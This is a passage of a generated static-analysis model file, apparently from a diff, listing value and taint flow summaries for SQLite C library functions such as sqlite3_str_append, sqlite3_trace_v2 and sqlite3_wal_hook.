"sqlite3_recover_init_sql", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[0]", "ReturnValue[*].Field[**zDb].Field[*dbIn]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init_sql", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[0]", "ReturnValue[*].Field[**zUri].Field[*dbIn]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init_sql", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[0]", "ReturnValue[*].Field[*dbIn]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init_sql", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[1]", "ReturnValue[*].Field[**zDb]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init_sql", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[2]", "ReturnValue[*].Field[*xSql]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init_sql", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[3]", "ReturnValue[*].Field[*pSqlCtx]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_run", "(sqlite3_recover *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_recover_step", "(sqlite3_recover *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_regexp_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_reset", "(sqlite3_stmt *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_result_error16", "(sqlite3_context *,const void *,int)", "", "Argument[*1]", "Argument[*0].Field[**pOut].Field[**zMalloc]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_result_error16", "(sqlite3_context *,const void *,int)", "", "Argument[*1]", "Argument[*0].Field[**pOut].Field[**z]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_result_error16", "(sqlite3_context *,const void *,int)", "", "Argument[1]", "Argument[*0].Field[**pOut].Field[**z]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_result_error16", "(sqlite3_context *,const void *,int)", "", "Argument[1]", "Argument[*0].Field[**pOut].Field[*zMalloc]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_result_error16", "(sqlite3_context *,const void *,int)", "", "Argument[1]", "Argument[*0].Field[**pOut].Field[*z]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_result_error16", "(sqlite3_context *,const void *,int)", "", "Argument[2]", "Argument[*0].Field[**pOut].Field[**z]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_result_error16", "(sqlite3_context *,const void *,int)", "", "Argument[2]", "Argument[*0].Field[**pOut].Field[*n]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_result_error", "(sqlite3_context *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[**pOut].Field[**zMalloc]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_result_error", "(sqlite3_context *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[**pOut].Field[**z]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_result_error", "(sqlite3_context *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[**pOut].Field[**z]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_result_error", "(sqlite3_context *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[**pOut].Field[*zMalloc]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_result_error", "(sqlite3_context *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[**pOut].Field[*z]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_result_error", "(sqlite3_context *,const char *,int)", "", "Argument[2]", "Argument[*0].Field[**pOut].Field[**z]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_result_error", "(sqlite3_context *,const char *,int)", "", "Argument[2]", "Argument[*0].Field[**pOut].Field[*n]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_result_error_code", "(sqlite3_context *,int)", "", "Argument[1]", "Argument[*0].Field[*isError]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_rollback_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***pRollbackArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_rollback_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**pRollbackArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_rollback_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*xRollbackCallback]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_rollback_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*pRollbackArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_rtree_geometry_callback", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_rtree_geometry_callback", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_rtree_geometry_callback", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_rtree_query_callback", "(sqlite3 *,const char *,..(*)(..),void *,..(*)(..))", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_rtree_query_callback", "(sqlite3 *,const char *,..(*)(..),void *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_rtree_query_callback", "(sqlite3 *,const char *,..(*)(..),void *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_serialize", "(sqlite3 *,const char *,sqlite3_int64 *,unsigned int)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_series_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_set_authorizer", "(sqlite3 *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***pAuthArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_set_authorizer", "(sqlite3 *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**pAuthArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_set_authorizer", "(sqlite3 *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*xAuth]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_set_authorizer", "(sqlite3 *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*pAuthArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_set_clientdata", "(sqlite3 *,const char *,void *,..(*)(..))", "", "Argument[*1]", "Argument[*0].Field[**pDbData].Field[*zName]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_set_clientdata", "(sqlite3 *,const char *,void *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[**pDbData].Field[*zName]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_set_last_insert_rowid", "(sqlite3 *,sqlite3_int64)", "", "Argument[1]", "Argument[*0].Field[*lastRowid]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_sha_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_shathree_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_snprintf", "(int,char *,const char *,...)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_snprintf", "(int,char *,const char *,...)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_sql", "(sqlite3_stmt *)", "", "Argument[*0].Field[**zSql]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_sql", "(sqlite3_stmt *)", "", "Argument[*0].Field[*zSql]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_sqlar_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_status64", "(int,sqlite3_int64 *,sqlite3_int64 *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_status64", "(int,sqlite3_int64 *,sqlite3_int64 *,int)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_status", "(int,int *,int *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_status", "(int,int *,int *,int)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_step", "(sqlite3_stmt *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_step", "(sqlite3_stmt *)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "sqlite3_step", "(sqlite3_stmt *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_stmt_explain", "(sqlite3_stmt *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_stmt_explain", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[*explain]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_stmt_explain", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[*nResColumn]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_stmt_isexplain", "(sqlite3_stmt *)", "", "Argument[*0].Field[*explain]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_stmt_readonly", "(sqlite3_stmt *)", "", "Argument[*0].Field[*readOnly]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_stmt_status", "(sqlite3_stmt *,int,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_stmtrand_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_append", "(sqlite3_str *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[**zText]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_append", "(sqlite3_str *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[**zText]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_append", "(sqlite3_str *,const char *,int)", "", "Argument[2]", "Argument[*0].Field[*nAlloc]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_append", "(sqlite3_str *,const char *,int)", "", "Argument[2]", "Argument[*0].Field[*nChar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendall", "(sqlite3_str *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**zText]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendall", "(sqlite3_str *,const char *)", "", "Argument[1]", "Argument[*0].Field[**zText]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendchar", "(sqlite3_str *,int,char)", "", "Argument[1]", "Argument[*0].Field[*nAlloc]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendchar", "(sqlite3_str *,int,char)", "", "Argument[2]", "Argument[*0].Field[**zText]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendf", "(StrAccum *,sqlite3_str *,const char *,...)", "", "Argument[*1]", "Argument[*0].Field[**zText]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendf", "(StrAccum *,sqlite3_str *,const char *,...)", "", "Argument[*1]", "Argument[*0].Field[*nAlloc]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendf", "(StrAccum *,sqlite3_str *,const char *,...)", "", "Argument[*1]", "Argument[*0].Field[*nChar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendf", "(StrAccum *,sqlite3_str *,const char *,...)", "", "Argument[1]", "Argument[*0].Field[**zText]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendf", "(StrAccum *,sqlite3_str *,const char *,...)", "", "Argument[1]", "Argument[*0].Field[*nAlloc]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendf", "(StrAccum *,sqlite3_str *,const char *,...)", "", "Argument[1]", "Argument[*0].Field[*nChar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_errcode", "(sqlite3_str *)", "", "Argument[*0].Field[*accError]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_finish", "(sqlite3_str *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_str_finish", "(sqlite3_str *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_str_length", "(sqlite3_str *)", "", "Argument[*0].Field[*nChar]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_new", "(sqlite3 *)", "", "Argument[*0].Field[*aLimit]", "ReturnValue[*].Field[*mxAlloc]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_value", "(sqlite3_str *)", "", "Argument[*0].Field[**zText]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_value", "(sqlite3_str *)", "", "Argument[*0].Field[*zText]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_vappendf", "(sqlite3_str *,const char *,va_list)", "", "Argument[*1]", "Argument[*0].Field[**zText]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_vappendf", "(sqlite3_str *,const char *,va_list)", "", "Argument[*1]", "Argument[*0].Field[*nAlloc]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_vappendf", "(sqlite3_str *,const char *,va_list)", "", "Argument[*1]", "Argument[*0].Field[*nChar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_vappendf", "(sqlite3_str *,const char *,va_list)", "", "Argument[1]", "Argument[*0].Field[**zText]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_vappendf", "(sqlite3_str *,const char *,va_list)", "", "Argument[1]", "Argument[*0].Field[*nAlloc]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_vappendf", "(sqlite3_str *,const char *,va_list)", "", "Argument[1]", "Argument[*0].Field[*nChar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_strglob", "(const char *,const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_stricmp", "(const char *,const char *)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_stricmp", "(const char *,const char *)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_stricmp", "(const char *,const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_stricmp", "(const char *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_strlike", "(const char *,const char *,unsigned int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_strnicmp", "(const char *,const char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_strnicmp", "(const char *,const char *,int)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_strnicmp", "(const char *,const char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_strnicmp", "(const char *,const char *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_system_errno", "(sqlite3 *)", "", "Argument[*0].Field[*iSysErrno]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_table_column_metadata", "(sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_total_changes64", "(sqlite3 *)", "", "Argument[*0].Field[*nTotalChange]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_total_changes", "(sqlite3 *)", "", "Argument[*0].Field[*nTotalChange]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_trace", "(sqlite3 *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***pTraceArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_trace", "(sqlite3 *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**pTraceArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_trace", "(sqlite3 *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*trace].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_trace", "(sqlite3 *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*pTraceArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_trace_v2", "(sqlite3 *,unsigned int,..(*)(..),void *)", "", "Argument[**3]", "Argument[*0].Field[***pTraceArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_trace_v2", "(sqlite3 *,unsigned int,..(*)(..),void *)", "", "Argument[*3]", "Argument[*0].Field[**pTraceArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_trace_v2", "(sqlite3 *,unsigned int,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*mTrace]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_trace_v2", "(sqlite3 *,unsigned int,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*trace].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_trace_v2", "(sqlite3 *,unsigned int,..(*)(..),void *)", "", "Argument[3]", "Argument[*0].Field[*pTraceArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_transfer_bindings", "(sqlite3_stmt *,sqlite3_stmt *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "sqlite3_uint_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_update_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***pUpdateArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_update_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**pUpdateArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_update_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*xUpdateCallback]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_update_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*pUpdateArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_uri_boolean", "(const char *,sqlite3_filename,const char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_uri_boolean", "(const char *,sqlite3_filename,const char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_uri_boolean", "(const char *,sqlite3_filename,const char *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_uri_int64", "(const char *,sqlite3_filename,const char *,sqlite3_int64)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_uri_int64", "(const char *,sqlite3_filename,const char *,sqlite3_int64)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_uri_int64", "(const char *,sqlite3_filename,const char *,sqlite3_int64)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_uri_key", "(const char *,sqlite3_filename,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_uri_key", "(const char *,sqlite3_filename,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_uri_key", "(const char *,sqlite3_filename,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_uri_parameter", "(const char *,sqlite3_filename,const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_uri_parameter", "(const char *,sqlite3_filename,const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_uri_parameter", "(const char *,sqlite3_filename,const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_user_data", "(sqlite3_context *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_user_data", "(sqlite3_context *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "sqlite3_user_data", "(sqlite3_context *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_blob", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_blob", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_bytes16", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_bytes", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_double", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_dup", "(const sqlite3_value *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "sqlite3_value_dup", "(const sqlite3_value *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_value_encoding", "(sqlite3_value *)", "", "Argument[*0].Field[*enc]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_value_frombind", "(sqlite3_value *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_value_int64", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_int", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_numeric_type", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_pointer", "(sqlite3_value *,const char *)", "", "Argument[*0].Field[**z]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_value_pointer", "(sqlite3_value *,const char *)", "", "Argument[*0].Field[*z]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_value_subtype", "(sqlite3_value *)", "", "Argument[*0].Field[*eSubtype]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_value_text16", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_text16", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_text16be", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_text16be", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_text16le", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_text16le", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_text", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_text", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_type", "(sqlite3_value *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_vmprintf", "(const char *,va_list)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_vsnprintf", "(int,char *,const char *,va_list)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_vsnprintf", "(int,char *,const char *,va_list)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_vsnprintf", "(int,char *,const char *,va_list)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_vtab_collation", "(sqlite3_index_info *,int)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "sqlite3_vtab_distinct", "(sqlite3_index_info *)", "", "Argument[*0].Field[*eDistinct]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_vtab_in", "(sqlite3_index_info *,int,int)", "", "Argument[1]", "Argument[*0].Field[*mHandleIn]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_vtab_in_first", "(sqlite3_value *,sqlite3_value **)", "", "Argument[*0].Field[**z].Field[**pOut]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_vtab_in_first", "(sqlite3_value *,sqlite3_value **)", "", "Argument[*0].Field[**z].Field[*pOut]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_vtab_in_next", "(sqlite3_value *,sqlite3_value **)", "", "Argument[*0].Field[**z].Field[**pOut]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_vtab_in_next", "(sqlite3_value *,sqlite3_value **)", "", "Argument[*0].Field[**z].Field[*pOut]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_vtab_on_conflict", "(sqlite3 *)", "", "Argument[*0].Field[*vtabOnConflict]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_vtab_rhs_value", "(sqlite3_index_info *,int,sqlite3_value **)", "", "Argument[1]", "Argument[*0].Field[*aRhs]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_vtab_rhs_value", "(sqlite3_index_info *,int,sqlite3_value **)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_wal_autocheckpoint", "(sqlite3 *,int)", "", "Argument[1]", "Argument[*0].Field[*pWalArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_wal_checkpoint", "(sqlite3 *,const char *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_wal_checkpoint_v2", "(sqlite3 *,const char *,int,int *,int *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_wal_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***pWalArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_wal_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**pWalArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_wal_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*xWalCallback]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_wal_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*pWalArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_zipfile_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "statecmp", "(config *,config *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "statecmp", "(config *,config *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "statehash", "(config *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "strhash", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "strhash", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tolower", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "toupper", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "tplt_linedir", "(FILE *,int,char *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "tplt_linedir", "(FILE *,int,char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "tplt_print", "(FILE *,lemon *,char *,int *)", "", 